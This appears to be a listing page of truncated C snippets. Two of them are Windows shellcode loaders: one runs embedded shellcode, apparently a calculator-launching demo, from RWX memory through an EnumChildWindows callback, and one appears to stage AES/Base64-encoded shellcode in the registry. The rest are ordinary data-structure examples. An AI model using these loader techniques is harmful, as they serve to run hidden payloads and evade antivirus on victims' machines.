c shellcode callback function

c shellcode callback function EnumChildWindows.cpp //#include "stdafx.h" #include <Windows.h> #include <stdio.h> int main() { char shellcode[] = "\x31\xdb\x64\x8b\x7b\x30\x8b\x7f" "\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b" "\x77\x20\x8b\x3f\x80\x7e\x0c\x33" "\x75\xf2\x89\xc7\x03\x78\x3c\x8b" "\x57\x78\x01\xc2\x8b\x7a\x20\x01" "\xc7\x89\xdd\x8b\x34\xaf\x01\xc6" "\x45\x81\x3e\x43\x72\x65\x61\x75" "\xf2\x81\x7e\x08\x6f\x63\x65\x73" "\x75\xe9\x8b\x7a\x24\x01\xc7\x66" "\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7" "\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9" "\xb1\xff\x53\xe2\xfd\x68\x63\x61" "\x6c\x63\x89\xe2\x52\x52\x53\x53" "\x53\x53\x53\x53\x52\x53\xff\xd7"; HANDLE hAlloc = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); memcpy(hAlloc, shellcode,……

reg shellcode加载器

#define _CRT_SECURE_NO_DEPRECATE #include "Base64.h" #include "AES.h" #include <Windows.h> #include <stdio.h> #include <Winnls.h> #pragma comment(lib,"Kernel32.lib") #include <iostream> using namespace std; #define BUF_SIZE 4096 HKEY hKey; HKEY rootKey = HKEY_CURRENT_USER; DWORD cbData; static BOOL CALLBACK EnumWindowCallback(HWND hWnd, LPARAM lparam) { //printf("%S", lparam); return true;……

c-单链表

//定义节点 typedef struct node { int data; //节点存放数据 struct node *next; //指针域 } node; //定义头指针 typedef struct list { int……

c-二叉树

#include <stdlib.h> #include <stdio.h> /* 树的节点 */ typedef struct tree_node { /* 左孩子指针 */ struct tree_node *left; /* 右孩子指针 */ struct tree_node *right; /* 关键字 */ char key; }tree_node;……

c-哈希表

#include <stdlib.h> #include <string.h> #include <stdio.h> typedef struct hash_node { void *key; void *val; struct hash_node *next; } hash_node; typedef struct hash_table { hash_node **table; int size; // hashmask https://its301.com/article/qing_gee/120260024 int sizemask; } hash_table; unsigned int hash_33(char *str) { unsigned int hash……